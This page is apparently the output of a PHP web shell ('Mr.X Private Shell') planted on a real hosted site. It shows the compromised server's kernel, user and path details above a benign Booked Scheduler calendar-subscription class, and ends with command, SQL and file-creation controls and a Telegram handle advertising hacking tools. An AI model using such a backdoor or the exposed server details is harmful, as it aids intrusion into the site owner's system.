Uname: Linux webm005.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User: 6036 (villadal)
Group: 100 (users)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//home/villadal/www/old/booked/Presenters/      ( Reset | Go to )
File Name: CalendarSubscriptionPresenter.php
Edit
<?php
/**
Copyright 2012-2014 Nick Korbel
Copyright 2012-2014 Alois Schloegl

This file is part of Booked Scheduler.

Booked Scheduler is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

Booked Scheduler is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with Booked Scheduler.  If not, see <http://www.gnu.org/licenses/>.
 */

require_once(ROOT_DIR 'Domain/Access/namespace.php');
require_once(
ROOT_DIR 'lib/Application/Schedule/namespace.php');
require_once(
ROOT_DIR 'lib/Application/Reservation/namespace.php');

class 
CalendarSubscriptionPresenter
{
    
/**
     * @var ICalendarExportPage
     */
    
private $page;

    
/**
     * @var IReservationViewRepository
     */
    
private $reservationViewRepository;

    
/**
     * @var ICalendarExportValidator
     */
    
private $validator;

    
/**
     * @var ICalendarSubscriptionService
     */
    
private $subscriptionService;

    
/**
     * @var IPrivacyFilter
     */
    
private $privacyFilter;

    public function 
__construct(ICalendarSubscriptionPage $page,
                                
IReservationViewRepository $reservationViewRepository,
                                
ICalendarExportValidator $validator,
                                
ICalendarSubscriptionService $subscriptionService,
                                
IPrivacyFilter $filter)
    {
        
$this->page $page;
        
$this->reservationViewRepository $reservationViewRepository;
        
$this->validator $validator;
        
$this->subscriptionService $subscriptionService;
        
$this->privacyFilter $filter;
    }

    public function 
PageLoad()
    {
        if (!
$this->validator->IsValid())
        {
            return;
        }

        
$userId $this->page->GetUserId();
        
$scheduleId $this->page->GetScheduleId();
        
$resourceId $this->page->GetResourceId();
        
$accessoryIds $this->page->GetAccessoryIds();

        
$weekAgo Date::Now()->AddDays(-7);
        
$nextYear Date::Now()->AddDays(365);

        
$sid null;
        
$rid null;
        
$uid null;
        
$aid null;

        
$reservations = array();
        
$res = array();
        if (!empty(
$scheduleId))
        {
            
$schedule $this->subscriptionService->GetSchedule($scheduleId);
            
$sid $schedule->GetId();
        }
        if (!empty(
$resourceId))
        {
            
$resource $this->subscriptionService->GetResource($resourceId);
            
$rid $resource->GetId();
        }
        if (!empty(
$accessoryIds))
        {
            
## No transformation is implemented. It is assumed the accessoryIds is provided as AccessoryName
            ## filter is defined by LIKE "PATTERN%"
            
$aid $accessoryIds;
        }
        if (!empty(
$userId))
        {
            
$user $this->subscriptionService->GetUser($userId);
            
$uid $user->Id();
        }

        if (!empty(
$uid) || !empty($sid) || !empty($rid))
        {
            
$res $this->reservationViewRepository->GetReservationList($weekAgo$nextYear$uidnull$sid$rid);
        }
        elseif (!empty(
$aid))
        {
            throw new 
Exception('need to give an accessory a public id, allow subscriptions');
            
$res $this->reservationViewRepository->GetAccessoryReservationList($weekAgo$nextYear$accessoryIds);
        }

        
Log::Debug('Loading calendar subscription for userId %s, scheduleId %s, resourceId %s. Found %s reservations.',
                   
$userId$scheduleId$resourceIdcount($res));

        foreach (
$res as $r)
        {
            
$reservations[] = new iCalendarReservationView($r,
                                                           
ServiceLocator::GetServer()->GetUserSession(),
                                                           
$this->privacyFilter);
        }

        
$this->page->SetReservations($reservations);
    }
}

?>

All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL